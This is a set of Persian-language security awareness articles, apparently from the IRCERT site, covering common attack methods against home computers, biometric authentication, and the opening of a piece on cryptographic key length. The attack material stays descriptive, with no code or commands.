کاربرد پراکسی در امنیت شبکه (۳)

کاربرد پراکسی در امنیت شبکه (۲)

کاربرد پراکسی در امنیت شبکه (۱)

امنیت در شبکه های بی سیم (بخش ششم): سرویس های امنیتی 802.11b – Privacy و Integrity

پراکسی سرور

امنیت در شبکه های بی سیم (بخش پنجم): سرویس‌های امنیتی WEP - Authentication

سیاست های امنیتی

امنیت در شبکه های بی سیم (بخش چهارم): امنیت در شبکه های محلی بر اساس استاندارد 802.11

پروتکل های انتقال فایل امن

میز گرد قانون مبارزه با جرایم رایانه‌ای

رمزنگاری در پروتکل‌های انتقال

نوشتن keylogger نرم‌افزاری

امنیت در شبکه های بی سیم (بخش سوم): عناصر فعال و سطح پوشش WLAN

روش های معمول حمله به کامپیوترها (۲)

Keylogger ابزاری برای جاسوسی

روش‌های معمول حمله به کامپیوترها (۱)

10 نکته برای حفظ امنیت

کرمهای اینترنتی مفید (۲)

امنیت در شبکه های بی سیم(بخش دوم): شبکه‌های محلی بی‌سیم

کرمهای اینترنتی مفید (۱)

بهبود قابلیت های امنیتی IE توسط Windows XP SP2

ا منیت در شبکه های بی سیم(بخش اول): مقدمه

بستن درگاه ها بدون استفاده از حفاظ

انتخاب و محافظت از کلمات عبور

حمله به برنامه های وبی (5):حمله به نشست

Windows XP Service Pack 2

کو‌کی‌ها و مسائل امنیتی

از کوکی چه می‌دانید؟

شناسایی مزاحم‌ کامپیوتری

دنیای هکرها

گوگل و حفظ حریم خصوصی کاربران

بیچاره ویروس‌ها!

نرم‌افزارهای جاسوسی و مقابله با آنها (۳)

ایمن سازی Windows XP (بخش 1)

نرم‌افزارهای جاسوسی و مقابله با آنها (۲)

نرم‌افزارهای جاسوسی و مقابله با آنها (۱)

چک لیست کشف نفوذ در سیستم عامل Windows NT (قسمت دوم)

چک لیست کشف نفوذ در سیستم عامل Windows NT (قسمت اول)

محافظت در مقابل خطرات ایمیل (۲)

قابلیت‌های نرم‌افزارهای ضدویروس

محافظت در مقابل خطرات ایمیل (۱)

طرز کار برنامه های ضد ویروس

نبرد فیلترها و تولیدکنندگان اسپم (۲)

ویروس و ضدویروس

پنجره آسیب پذیری، دلیلی برای هک شدن

نبرد فیلترها و تولیدکنندگان اسپم (۱)

حمله به برنامه های وبی (4): حملات پیشرفته تر

چگونه با اسپم مقابله کنیم؟

اسپم چیست؟

پروسسورهای امن

شکستن کلیدهای رمزنگاری

حمله به برنامه هاي وبي (۳)

کلیدها در رمزنگاری

حمله به برنامه‌های وبی (۲)

رمزنگاری

حمله به برنامه‌های وبی (۱)

مفاهیم امنیت شبکه

مقدمه ای بر تشخیص نفوذ (Intrusion Detection)

مقدمه ای بر شبکه خصوصی مجازی (VPN)

مقدمه ای بر IPSec

مقدمه ای بر فایروال

امنیت در پایگاههای داده ای - بخش اول - امنیت سرور

بیومتریک و تجهیزات مربوطه - بخش اول

بیومتریک و تجهیزات مربوطه - بخش دوم

AAA (Authentication, Authorization and Accounting)

امنیت تجهیزات شبکه


﻿ IRCERT - روش‌های معمول حمله به کامپیوترها (۱) - مقالات

روش‌های معمول حمله به کامپیوترها (۱)

قصد داریم طی دو شماره بطور خلاصه به معمول‌ترین روش‌هایی که مورد استفاده خرابکاران برای ورود به کامپیوتر یا از کارانداختن آن قرارمی‌گیرد، اشاره کنیم. گروه امداد امنیت کامپیوتری ایران به بعضی از این روشها بطور مفصل پرداخته است و در آینده به بقیه آنها نیز خواهد پرداخت.

۱- برنامه‌های اسب تروا

۲- درهای پشتی و برنامه‌های مدیریت از راه دور

۳-عدم پذیرش سرویس

۴- وساطت برای یک حمله دیگر

۵- اشتراکهای ویندوزی حفاظت‌نشده

۶- کدهای قابل انتقال (Java ، JavaScript و ActiveX)

۷- اسکریپتهای Cross-Site

۸- ایمیلهای جعلی

۹- ویروسهای داخل ایمیل

۱۰- پسوندهای مخفی فایل

۱۱- سرویس‌گیرندگان چت

۱۲- شنود بسته‌های اطلاعات

 ۱- برنامه‌های اسب تروا

برنامه‌های اسب تروا روشی معمول برای گول زدن شما هستند (گاهی مهندسی اجتماعی نیز گفته می‌شود) تا برنامه‌های “درپشتی” را روی کامپیوتر شما نصب کنند. و به این ترتیب اجازه دسترسی آسان کامپیوترتان را بدون اطلاعتان به مزاحمین می‌دهند، پیکربندی سیستم شما را تغییر می‌دهند، یا کامپیوترتان را با یک ویروس آلوده می‌کنند.

۲- درهای پشتی و برنامه‌های مدیریت از راه دور

روی کامپیوترهای ویندوزی، معمولا سه ابزار توسط مزاحمین برای دسترسی از راه دور به کامپیوترتان استفاده می‌شود. BackOrifice ، Netbus و SubSeven. این برنامه‌های درپشتی یا مدیریت از راه‌دور وقتی نصب می‌شوند، به افراد دیگر اجازه دسترسی و کنترل کامپیوترتان را می‌دهند. به شما توصیه می‌کنیم که شکاف‌های امنیتی را بخصوص در مورد BackOrifice از CERT مطالعه کنید.

۳- عدم پذیرش سرویس

نوعی دیگر از حمله، Denial-of-Service یا عدم‌پذیرش‌سرویس نام دارد. این نوع حمله باعث از کارافتادن یا مشغول شدن بیش از حد کامپیوتر تا حد غیرقابل‌استفاده شدن می‌شود. در بیشتر موارد، آخرین وصله‌های امنیتی از حمله جلوگیری خواهند کرد. شایان گفتن است که علاوه بر اینکه کامپیوتر شما هدف یک حمله DoS قرار می‌گیرد، ممکن است که در حمله DoS علیه یک سیستم دیگر نیز شرکت داده شود.

۴- وساطت برای یک حمله دیگر

مزاحمین به‌کرات از کامپیوترهای مورد حمله قرارگرفته برای پایگاهی برای حمله به سیستم‌های دیگر استفاده می‌کنند. یک مثال آن چگونگی استفاده از آنها بعنوان ابزار حملات DoS توزیع‌شده است. مزاحمین یک “عامل” را (معمولا از طریق یک اسب تروا) نصب می‌کنند که روی کامپیوتر مورد حمله قرارگرفته اجرا می‌شود و منتظر دستورهای بعدی می‌ماند. سپس، هنگامی که تعدادی از عامل‌ها روی کامپیوترهای مختلف در حال اجرا هستند، به تمام آنها دستور داده می‌شود که یک حمله denial-of-service را روی یک سیستم پیاده کنند. بنابراین، هدف نهایی حمله، کامپیوتر شما نیست، بلکه سیستم شخص دیگری است – کامپیوتر شما فقط یک ابزار مناسب برای یک حمله بزرگتر است.

۵- اشتراکهای ویندوزی حفاظت‌نشده

اشتراکهای شبکه‌ ویندوزی محافظت‌نشده می‌توانند توسط مزاحمین تحت یک روش خودکار برای قراردادن ابزارها روی تعداد زیادی از کامپیوترهای ویندوزی متصل به اینترنت مورد سوءاستفاده قرار گیرند. از آنجا که برای امنیت سایت روی اینترنت وابستگی بین سیستمها وجود دارد، یک کامپیوتر مورد حمله قرارگرفته نه تنها مشکلاتی برای صاحبش فراهم می‌کند، بلکه تهدیدی برای سایتهای دیگر روی اینترنت محسوب می‌شود. عامل بالقوه بزرگی در گستره وسیع برای ظهور ناگهانی سایر ابزارهای مزاحمت وجود دارد که از اشتراکهای شبکه ویندوزی محافظت‌نشده استفاده می‌کند.

۶- کدهای قابل انتقال (Java ، JavaScript و ActiveX)

گزارشهایی در مورد مشکلات با ‌” کدهای سیار” ( مانند Java، JavaScript و ActiveX) وجود داشته است. اینها زبانهای برنامه‌سازی هستند که به توسعه‌دهندگان وب اجازه نوشتن کدهای قابل اجرا در مرورگر شما را می‌دهند. اگرچه کد عموما مفید است،‌ اما می‌ةواند توسط مزاحمان برای جمع‌آوری اطلاعات (مثلا وب‌سایتهایی که سر می‌زنید) یا اجرای کدهای آسیب‌رسان روی کامپیوتر شما مورد استفاده قرار گیرد. امکان از کار انداختن Java، JavaScript و ActiveX در مرورگر شما وجود دارد. توصیه می‌شود که اگر در حال مرور وب‌سایتهایی هستید که با آنها آشنا نیستید یا اطمینان ندارید، این کار را انجام دهید، اگرچه از خطرات احتمالی در استفاده از کدهای سیار در برنامه‌های ایمیل آگاه باشید. بسیاری از برنامه‌های ایمیل از همان کد بعنوان مرورگرهای وب برای نمایش HTML استفاده می‌کنند. بنابراین، شکافهای امنیتی که بر Java، JavaScript و ActiveX اثرگذارند، اغلب علاوه بر صفحات وب در ایمیلها هم قابل اجرا هستند.

در قسمت بعد به ادامه روشها پرداخته خواهد شد...


﻿ IRCERT - روش های معمول حمله به کامپیوترها (۲) - مقالات

روش های معمول حمله به کامپیوترها (۲)

در قسمت قبل به ۶ روش حمله بطور مختصر پرداختیم ...

۷- اسکریپتهای Cross-Site

یک برنامه نویس وب با افکار بدخواهانه ممکن است اسکریپتی به آنچه که به یک وب سایت فرستاده می شود، مانند یک URL ، یک عنصر در شکلی خاص، یا درخواست از یک پایگاه داده، بچسباند. بعدا، وقتی وب سایت به شما پاسخ می دهد، اسکریپت زیان رسان به مرورگر شما منتقل می شود.

شما می توانید مرورگر وب تان را توسط روشهای زیر در اختیار اسکریپتهای زیان رسان قرار دهید:

* تعقیب لینک ها در صفحات وب، ایمیلها یا پیام های گروه های خبری بدون دانستن به آنچه لینک داده شده است.

* استفاده از فرم های محاوره ای روی یک سایت غیرقابل اطمینان

* دیدن گروه های بحث آنلاین، مجمع ها یا دیگر صفحاتی که بصورت پویا تولید می شوند در جایی که کاربران می توانند متنهای شامل تگ های HTML ارسال کنند.

۸- ایمیلهای جعلی

این حالت زمانی اتفاق می افتد که یک ایمیل به ظاهر متعلق به منبعی می باشد درحالیکه در حقیقت از منبعی دیگر ارسال شده است. Email Spoofing اغلب برای گول زدن کاربر بمنظوراین که اطلاعات حساس (مانند کلمات عبور) را افشاء کند بکار می رود.

ایمیل جعل شده می تواند گستره ای از شوخی های بی ضرر تا اقدامات مربوط به مهندسی اجتماعی داشته باشد. مثالهایی از مورد دوم اینها هستند:

* ایمیل ادعا می کند که از مدیر یک سیستم است و از کاربران تقاضای تغییر کلمات عبورشان را به یک رشته مشخص دارد و آنها را در صورت عدم تابعیت به تعلیق اکانتهایشان تهدید می کند.

* ایمیل ادعا می کند از یک شخص با اختیارات لازم است و از کاربران تقاضا می کند که یک کپی از فایل کلمات عبور یا سایر اطلاعات حساس را برایش ارسال کنند.

 توجه کنید وقتی سرویس دهندگان گهگاهی تقاضا می کنند که کلمه عبورتان را تغییر دهید، معمولا مشخص نمی کنند که به چه کلمه ای تغییر کند. همچنین، بیشتر سرویس دهندگان قانونی از شما هرگز تقاضای ارسال کلمات عبورتان را از طریق ایمیل نمی کنند. اگر شک دارید که یک ایمیل جعلی از شخصی با تمایلات بدخواهانه دریافت کرده اید، باید با پرسنل پشتیبانی سرویس دهنده خود سریعا تماس بگیرید.

۹- ویروسهای داخل ایمیل

ویروس ها و سایر کدهای آسیب رسان اغلب بعنوان پیوست ایمیلها گسترش می یابند. قبل از بازکردن هر پیوستی، از شناخته شده بودن منبع آن اطمینان حاصل کنید. اینکه ایمیل از آدرسی باشد که شما می شناسید، کافی نیست. ویروس ملیسا دقیقا به این علت گسترش یافت که آدرس فرستنده آن آشنا بود. همچنین، کدهای آسیب رسان ممکن است در برنامه های سرگرم کننده یا فریبنده گسترش پیدا کنند.

هرگز برنامه ای را اجرا نکنید، مگر اینکه توسط شخص یا شرکتی نوشته شده باشد که به آن اعتماد دارید. بعلاوه، برنامه هایی را که از منابع ناشناخته دریافت می کنید، صرفا بخاطر اینکه سرگرم کننده هستند، برای دوستان یا همکاران خود ارسال نکنید.

 ۱۰- پسوندهای مخفی فایل

سیستم عاملهای ویندوز انتخابی را در اختیار شما قرار می دهند که “ پسوند فایلهایی که نوع آنها شناخته شده است را پنهان می کند”. این انتخاب بصورت پیش فرض فعال است، اما ممکن است یک کاربر این قابلیت را بمنظور به نمایش درآمدن پسوند تمام فایلها توسط ویندوزغیرفعال کند. ویروسهای داخل ایمیل از پنهان ماندن پسوند فایلهای شناخته شده بهره برداری می کنند. اولین حمله عمده که از این قابلیت بهره گرفت کرم VBS/LoveLetter بود که حاوی یک پیوست به نام “LOVE-LETTER-FOR-YOU.TXT.vbx” بود. سایر برنامه های آسیب رسان چنین طرحهای نامگذاری مشابهی دارند. چندین مثال اینها هستند:

*Downloader (MySis.avi.exe or QuickFlicking.mpg.exe)

*VBS/Timofonica (TIMOFONICA.TXT.vbs)

*VBS/CoolNote (COOL_NOTEPAD_DEMO.TXT.vbs)

*VBS/OnTheFly (AnnaKournikova.jpg.vbs)

فایلهای پیوسته به ایمیلها که توسط این ویروسها فرستاده می شوند، ممکن است بی ضرر بنظر برسند، فایلهای متنی (.txt)، فایلهای تصویری (.mpg یا .avi) یا دیگر انواع فایل در حالیکه در حقیقت این فایل یک اسکریپت یا فایل اجرایی آسیب رسان است (برای مثال .vbs یا .exe)

 ۱۱- سرویس گیرندگان چت

برنامه های چت اینترنتی، مانند برنامه های پیام رسانی سریع و شبکه های IRC، مکانیسمی را فراهم می کنند تا اطلاعات بصورت دوطرفه بین کامپیوترهای متصل به اینترنت منتقل شود. برنامه های چت برای گروههایی از افراد، امکان مکالمه، تبادل URL و در بسیاری موارد انتقال انواع فایلها را فراهم می کنند.

چون بسیاری از برنامه های چت اجازه تبادل کدهای قابل اجرا را می دهند، خطراتی مشابه برنامه های انتقال ایمیل را ایجاد می کنند. مانند برنامه های ایمیل، باید دقت کافی برای محدودکردن توانایی برنامه های چت برای اجرای فایلهای دانلود شده، بکار گرفته شود. مثل همیشه، باید مواظب تبادل فایل با طرفهای ناشناس باشید.

۱۲- شنود بسته های اطلاعات

یک برنامه شنود بسته های اطلاعاتی، برنامه ای است که دیتا را از اطلاعاتی که در حال انتقال در روی شبکه هستند، در اختیار می گیرد. این دیتا ممکن است شامل نام کاربران، کلمات عبور و هر اطلاعات اختصاصی دیگری باشد که روی شبکه و بدون اینکه رمز شده باشند، حرکت می کنند. با شاید صدها یا هزاران کلمات عبور گرفته شده توسط این برنامه، مزاحمین می توانند حملات گسترده ای را روی سیستمها پیاده کنند. نصب چنین برنامه ای لزوما به سطح دسترسی مدیر احتیاج ندارد.

نسبت به کاربران DSL و خطوط تلفن سنتی، کاربران مودمهای کابلی در معرض خطر بیشتری برای شنود قرار دارند، زیرا که تمام کاربران مودمهای کابلی همسایه بخشی از یک LAN هستند. یک برنامه شنود نصب شده روی کامپیوتر هر کاربر مودم کابلی ممکن است بتواند دیتا ارسال شده توسط هر مودم کابلی دیگر را در همان همسایگی دریافت کند.


﻿ IRCERT - بیومتریک و تجهیزات مربوطه(بخش اول) - مقالات

بیومتریک و تجهیزات مربوطه- بخش اول

برای صدور اجازه ورود برای یک فرد نیاز داریم وی را شناسایی و هویت وی را تایید کنیم و مورد نظر ما انجام بررسیهایی است که بصورت خودکار توسط یک سیستم صورت بگیرد.

در اصل تمام روشهای شناسایی با سه مورد زیر ارتباط دارد:

۱- آنچه که شما میدانید (یک کلمه عبور یا PIN)

۲- آنجه که شما دارید (یک کارت یا نشانه های دیگر)

۳- آنچه که شما هستید (مشخصات فیزیکی یا رفتاری)

مورد آخر به نام زیست سنجی (Biometrics) نیز شناخته میشود.

هرکدام از این موارد مزایا و معایبی دارد: کلمات عبور ممکن است حدس زده شوند یا از دست داده شوند اما به کاربر اجازه میدهند که قدرت خود را در اختیار کس دیگر قرار دهد. بسیاری از افراد براحتی کلمات عبور را فراموش میکنند، مخصوصا اگر بندرت از آنها استفاده کنند. نشانه ها میتوانند گم یا دزدیده شوند اما میتوانند در صورت لزوم به کس دیگر منتقل یا قرض داده شوند. مشخصات فیزیکی انعطاف ندارند. برای مثال، نمیتوان آنها را از طریق خطوط تلفن به کس یا جای دیگر منتقل کرد. طراحان سیستمهای امنیتی باید این پرسش را مطرح کنند که آیا کاربران باید توانایی انتقال اختیارشان را به دیگران داشته باشند یا خیر. پاسخ این پرسش در انتخاب روش و ابزار شناسایی و تعیین هویت موثر است.

روشهای شناسایی میتوانند بصورت ترکیبی مورد استفاده قرار گیرند: یک کارت و یک کلمه عبور یا کارت و زیست سنجی معمول هستند. این ترکیب میتواند مطابق با نیازها متفاوت باشد. برای مثال، ممکن است فقط از یک کارت برای ورود به ساختمان استفاده کنیم، از یک کارت و یک PIN برای ورود به اتاق کامپیوتر، اما از یک کارت و اثرانگشت برای عملیات انتقال پول در سیستمهای کامپیوتری.

۱ Behavioral and Physiometric (خصوصیات رفتاری و فیزیکی)

بررسیهای زیست سنجی به دو گروه تقسیم میشود:

تکنیکهای رفتاری که طرز انجام کاری توسط کاربر را مانند امضا کردن یا بیان کردن یک عبارت میسنجند

سنجش اعضاء که یک خصوصیت فیزیکی را مانند اثرانگشت یا شکل یک دست میسنجند.

رفتار با زمان و حال شخص تغییر میکند. تکنیکهای سنجش رفتاری هنگامی به بهترین نحو عمل میکنند که مرتبا استفاده شوند، و به این ترتیب سطوح تغییرات هر فرد مورد توجه قرار گیرد. مدلهای سنجشهای رفتاری باید این تغییرات را لحاظ کنند. از طرف دیگر، سنجشهای مشخصات فیزیکی به ابزار سنجش بزرگتر و نرم افزارپیچیده تری احتیاج دارند. به عنوان مثال، آنها مجبورند موقعیت دست را با الگو تطبیق دهند.

باید میان سیستمهایی که برای تشخیص فرد طراحی شده اند ( آیا یک فرد تشخیص داده شده است و اگر اینگونه است، چه کسی را؟) و آنهایی که باید فقط هویت یک فرد را تایید کنند ( آیا این فرد همانی است که خودش ادعا میکند؟) تفاوت قائل شویم. عمل دوم بسیار آسانتر است و پارامترهای تایید هویت میتوانند بر پایه همان شخص تنظیم گردند. این روش حالت طبیعی برای سیستمهای کارت هوشمند است که الگوی مرجع ( که template نامیده میشود) در کارت یا یک سیستم مرکزی نگه داری میشود.

یک تست زیست سنجی شامل سه مرحله است. ثبت مشخصات، استفاده و بروز رسانی.

کاربران با سنجشهای اولیه در سیستم ثبت نام میشوند. این عمل معمولا سه مرتبه یا بیشتر برای ثبت اطلاعات دقیقتر انجام میگیرد. مدت زمان انجام این عمل در این مرحله بیشتر از زمانی است که سیستم برای تشخیص کاربر مورد استفاده قرار میگیرد.

وقتی که سنجش انجام گرفت هنگام استفاده ،نمونه با الگوی مرجع مقایسه میشود. در اینجا تعیین سطوح مناسب تفاوت مجاز (tolerance) مخصوصا برای سنجشهای رفتاری مهم است.

بیشتر سیستمهای زیست سنجی مخصوصا آنهایی که از مشخصات رفتاری استفاده میکنند، باید برای بروز رسانی الگوی مرجع تدارک دیده شده باشند. در حالت تشخیص صدا و امضا، معمولا یک فانکشن تطبیقی استفاده میشود که با هر بار سنجش توسط سیستم، بروز رسانی الگوی مرجع انجام میگیرد. برای مشخصاتی که تغییر کندتر است، سیستم میتواند درصد تطبیق یا تعداد دفعاتی که یک شخص پذیرفته نمیشود را اعلام کند و در مواقعی که لازم است، عمل ثبت مجددا انجام گیرد. ثبت تراکنش اغلب یک ویژگی مفید است و میتواند براحتی در یک سیستم بر پایه کارت هوشمند ایجاد گردد.

یک سیستم زیست سنجی شامل موارد زیر است:

· یک ابزار اندازه گیری ، که واسط کاربر را تشکیل میدهد. راحتی استفاده یک فاکتور مهم دیگر برای زیست سنجی است: ابزار باید مطابق با غریزه باشد و فضای کمی برای خطا ایجاد کند. و باید قابل استفاده برای دامنه وسیعی از مردم و بخصوص افراد ناتوان باشد.

· نرم افزار عامل، که شامل الگوریتمهای ریاضی است که پارامترهای سنجش شده را با الگوی مرجع مقایسه میکنند. جدیدترین الگوریتمها وابستگی کمی به مدلسازی آماری دارند و بیشتر بر پایه برنامه ریزی دینامیک، شبکه های عصبی و منطق فازی هستند که انعطاف پذیری را افزایش میدهد. لذا احتمال اینکه مثلا شخصی بخاطر لکه یا کثیفی جزیی پذیرفته نشود، کم است البته چنانچه بقیه الگو تطبیق دقیقی داشته باشند.

· سخت افزار و سیستمهای بیرونی: قابلیت استفاده، قابلیت اطمینان و هزینه سیستم اغلب حداقل به همان اندازه که به ابزار سنجش بستگی دارد، به سخت افزار بستگی دارد. بعضی سیستمها ( مانند تست اثرانگشت) فی نفسه برای استفاده در سیستمهای توزیع شده مناسب هستند، در حالیکه بقیه (مانند تشخیص صدا) برای سیستمهای متمرکز مناسب هستند.

هزینه ابزار زیست سنجی بسرعت در حال کاهش است. اکنون، برای ATMها و ابزار کنترل دسترسی مخصوصی مناسب هستند. هنوز یک افت هزینه دیگری لازم است تا اینکه زیست سنجی ها در خرید و فروش های خودکار و محیط های کنترل دسترسی مورد استفاده قرار بگیرد.

۱ Behavioral (خصوصیات رفتاری)

چندین تکنیک رفتاری برای تایید هویت وجود دارد که به اختصار به اهم آنها اشاره می کنیم.

۱-۱ تایید امضا

بررسی خودکار امضاء تعمیمی از یک پروسه آشناست. در حالیکه اپراتور انسانی شکل نهایی امضاء را بررسی میکند، بیشتر شکلهای خودکار تایید امضاء، تاکید بیشتری روی حرکتهای پروسه امضا کردن دارند. سرعت نسبی که خطها کشیده میشوند و فشار وارده، سیستم را قادر میسازد که سنجشهای انجام شده را بین امضاها حتی جایی که محیط کاملا متفاوت است, مقایسه کند و بیشتر تلاشها برای جعل امضا را با شکست مواجه کند.

الگوی مرجع امضا معمولا ۱ کیلو بایت است که این حجم کم دیتا این تکنیک را برای استفاده آنلاین یا بهمراه کارت هوشمند مناسب میسازد. یک فایده جانبی بیشتر سیستمهای تایید امضا این است که با ثبت امضاء بعنوان اثبات تراکنش صورت گرفته، باعث کم شدن سیستمهای برپایه کاغذ میشود و احتیاج به مستندسازی کاغذی را مرتفع میکند.

۲-۱ الگو و دینامیک تایپ کلید

روشی که یک نفر با صفحه کلید تایپ میکند با امضا کردن تشابهاتی دارد. تایپیستهای ماهر تقریبا خیلی زود از الگوهای تایپ کردنشان تشخیص داده میشوند. پیاده سازی های فعلی بدلیل مشکلات یکسان نبودن صفحه کلیدها و تاخیرهای نرم افزار سیستم به آزمایشگاه محدود هستند. از طرف دیگر، هزینه اضافی پایین و عملیات شفاف, این روش را به یک تکنیک بسیارجذاب برای کاربردهایی مثل محافظت کردن ازتعداد کمی از کاربرهای با الویت بالا در سیستم کامپیوتری، تبدیل میکند.

۳-۱ تشخیص صدا

سیستمهای تشخیص صدا به راحتی توسط مشتریها پذیرفته میشوند، اما متاسفانه هنوز به سطح کارایی که مورد نیاز بیشتر محیطهای تجاری هستند، نرسیده اند. استفاده از تشخیص صدا اجازه بررسی بیش از یک مورد را میدهد: سیستم میتواند تست کند که چه چیز گفته میشود بعلاوه اینکه چگونه گفته میشود. در بعضی از محیطها پیاده سازی این سیستم هزینه خیلی کمی دارد. تشخیص صدا شاخه ای از تکنولوژی پردازش صوت است که کاربردهای بسیار وسیعتری در زمینه های دیگر، بخصوص در سیستمهای تلفنی دیجیتالی و کنفرانس تصویری دارد. نکته جالب توجه اینست که مشخصاتی از صدا که توسط این سیستمها سنجیده میشود با آنهایی که یک انسان شنونده توجه میکند، تفاوت دارند، در حالیکه شخصی که با تقلید صدا میخواهد خود را جای شخص دیگر جا بزند، روی مشخصات انسانی تمرکز میکند.


﻿ IRCERT - بیومتریک و تجهیزات مربوطه(بخش دوم) - مقالات

بیومتریک و تجهیزات مربوطه- بخش دوم

۲- Physiometric (خصوصیات فیزیکی)

سنجش اعضا از قدیمی ترین روشهای تشخیص هویت است که با پیشرفت تکنولوژی به تنوع آن افزوده شده است.

۱-۲ اثر انگشت

این روش قدیمی ترین روش آزمایش تشخیص هویت از راه دور است. اگرچه قبلا اثر انگشت تنها در زمینه جرم قابل بحث بود، تحقیقات در بسیاری کشورها سطحی از پذیرش را نشان میدهد که به این روش اجازه استفاده در برنامه های عمومی را می دهد. سیستمها میتوانند جزئیاتی از اثر انگشت (نقاطی مانند تقاطعها یا کناره های برجستگیها) یا کل تصویر را بگیرند. الگوهای مرجع که برای حفظ این جزئیات بکار میرود در حدود ۱۰۰ بایت هستند که در مقایسه با تصویر کاملی که از اثر انگشت با حجم ۵۰۰ تا ۱۵۰۰ بایت میباشد,بسیار کوچکتر هستند.

در برنامه های عمومی مشکلاتی در ثبات وجود دارد. بعضی کارگران و معتادان شدید به سیگار, اغلب انگشتانی دارند که تحلیل اثرانگشت آنان مشکل است. با این وجود، طرحهای بلند مدت و موفق زیادی در استفاده از اثر انگشت وجود داشته است.

در حال حاضر اثر انگشت خوانهای زیادی در دامنه وسیعی وجود دارند که به همراه بعضی کارتخوانهااستفاده میشوند. اگرچه در حال حاضر قیمت آنها چندان پایین نیست اما میزان عرضه آنان در فروشگاههای کامپیوتر عادی باعث افت سریع قیمت آنان خواهد شد.

۲-۲ هندسه دست

هندسه دست امتیاز بالایی در راحتی استفاده بدلیل بزرگ بودن کسب میکند و میتواند با استفاده از سیستم راهنما در جای ثابتی قرار بگیرد. دست توسط مجموعه ای برجستگیهای مشخص به موقعیت صحیح برای اسکن شدن هدایت میشود و تصویر توسط یک دوربین CCD گرفته میشود.الگوی مرجع میتواند از نظر حجم خیلی کوچک باشد. ( محصولی که بیشترین وسعت استفاده تجاری را در حال حاضر دارد تنها از ۹ بایت استفاده میکند). اگرچه تغییرات روزانه مانند کثیفی روی کارایی آن تاثیر ندارد اما سنجش میتواند بوسیله جراحت یا افزایش سن تاثیر بپذیرد و اگر الگو مرتبا نتواند بروز شود، عملیات ثبت مجدد در هر زمانی لازم است.

۳-۲ اسکن شبکیه

اسکنرهای شبکیه مشخصات الگوهای رگهای خونی روی شبکیه را با استفاده از لیزر مادون قرمز کم قدرت و دوربین میسنجند. در این روش، برای بدست آوردن یک تصویر متمرکز, چشم باید نزدیک دوربین قرار بگیرد. الگوهای مرجع بسیار کوچک هستند (۳۵ بایت در بیشتر سیستمهای تجاری معمول). تحقیقات پزشکی اخیر نشان داده است که مشخصات شبکیه برخلاف آنچه در گذشته تصور میشد، پایدار نیست و توسط بعضی بیماریها که حتی ممکن است خود شخص مطلع نباشد تغییر میکنند. بسیاری از افراد نگران قرار دادن چشم خود درتماس نزدیک با منبع نور هستند. به همین دلیل، این روش جای خود را به اسکن عنبیه داده است.

۴-۲ اسکن عنبیه

اسکنرهای عنبیه رگه‌های موجود در عنبیه چشم را می سنجند. این تکنیک بعنوان نتیجه ای از تعداد زیادی از ویژگیها، سطح بالایی از تفاوت را بوجود می آورد و نسبت به گذشت زمان پایداری بالایی دارد.

کاربر باید از فاصله ۳۰ سانتیمتری یا بیشتربرای چند ثانیه به دوربین نگاه کند. سیستم با عینک و لنزهای تماسی کاربران تطابق دارد، هرچند که سنسور باید طوری قرار بگیرد یا تغییر کند که برای کابران با قدهای متفاوت و آنهایی که روی صندلی چرخدار قرار دارند، مناسب باشد.

اسکن عنبیه از تمام مواردی که شرح آنها رفت، جدیدتر است.

سایر موارد

از نظر تئوری، هر بخش از ساختمان بدن انسان میتواند در زیست سنجی قابل استفاده قرار گیرد. اما طرحهای تجاری روی آنهایی تمرکز شده است که براحتی سنجیده میشوند و از طرف جامعه آسان تر پذیرفته میشوند. گاهی لازم است بررسی شود که سنجش برروی یک شخص زنده انجام میشود تا یک کپی. یک روش که مستقیما از خوصیات زنده استفاده میکند اسکن سیاهرگ است. موقعیت سیاهرگ از طریق جریان خون گرم سنجیده میشود.

تشخیصهای مربوط به صورت – تکنیکی که بیشتر توسط انسانها استفاده میشود- یک زیست سنجی قابل دوام است، مخصوصا جایی که دوربینها از قبل استفاده میشوند و جایی که بررسی کلی، همه آن چیزی است که مورد نیاز است. ویژگیهای مشخص یا نقاط برجسته سنجیده برای ایجاد الگوی مرجع استفاده میشوند.

آخرین زیست سنجی مربوط به تحلیل DNA است. بهر حال، با اطمینان میتوان گفت که هنوز خیلی سال مانده است تا این روش در بررسی هویت در فروشگاههای عادی یا هنگام سوار شدن به اتوبوس مورد استفاده قرار گیرد.

زیست سنجی و کارتها

بعضی تکنیکهای شناسایی، مشخصا کلمات عبور و PINها، استثنائا برای پیاده سازی در سیستم توزیع شده مناسب شده اند. آنها کمترین حجم ذخیره سازی و پردازش را دارند، اما همچنان که دیدیم، بعنوان ابزار چندان امنی شناخته نمیشوند.

بهرحال احتیاجات فضای ذخیره سازی یک عامل محدودکننده است. بیشتر الگوهای مرجع به ۴۰ تا ۱۵۰۰ بایت برای ذخیره شدن احتیاج دارند. الگوهای مرجع کوچکتر میتوانند روی کارتهای مغناطیسی یا بارکدها ذخیره شوند. برای الگوهای بزرگتر می توان از بارکدهای دوبعدی یا هلوگرام ها استفاده کرد، اما راضی کننده ترین پاسخ در تقریبا هر جایی که ذخیره امن مورد نیاز است، استفاده از کارت هوشمند است.

کارتها ابزار مناسبی برای ترکیب زیست سنجی ها هستند. اگر دو یا سه عامل زیست سنجی روی کارت ذخیره شوند، اشتباهات در عدم تایید افراد ذیحق به حداقل میرسد. یا همان کارت میتواند در محیطهای متفاوت مورد استفاده قرار گیرد: تشخیص صدا برای سیستم تلفن، اثرانگشت برای کار با کامپیوتر یا ATM ، و یک PIN برای خرید و فروش. استفاده از چنین زیست سنجیهای لایه بندی شده ای امروزه در حال آغاز در کاربردهای تجاری هستند.

مرجع:

“Smart Card Security and Applications”, Mike Hendry , 2nd Edition, ©ARTECH House INC.


﻿ IRCERT - شکستن کلیدهای رمزنگاری - مقالات

شکستن کلیدهای رمزنگاری

چه طول کلیدی در رمزنگاری مناسب است؟

امنیت هر الگوریتم مستقیماً به پیچیده بودن اصولی مربوط است که الگوریتم بر اساس آن بنا شده است.

امنیت رمزنگاری بر اساس پنهان ماندن کلید است نه الگوریتم مورد استفاده. در حقیقت، با فرض اینکه که الگوریتم از قدرت کافی برخوردار است (یعنی که ضعف شناخته‌شده‌ای که بتوان برای نفوذ به الگوریتم استفاده کرد، وجود نداشته باشد) تنها روش درک متن اصلی برای یک استراق سمع کننده، کشف کلید است.

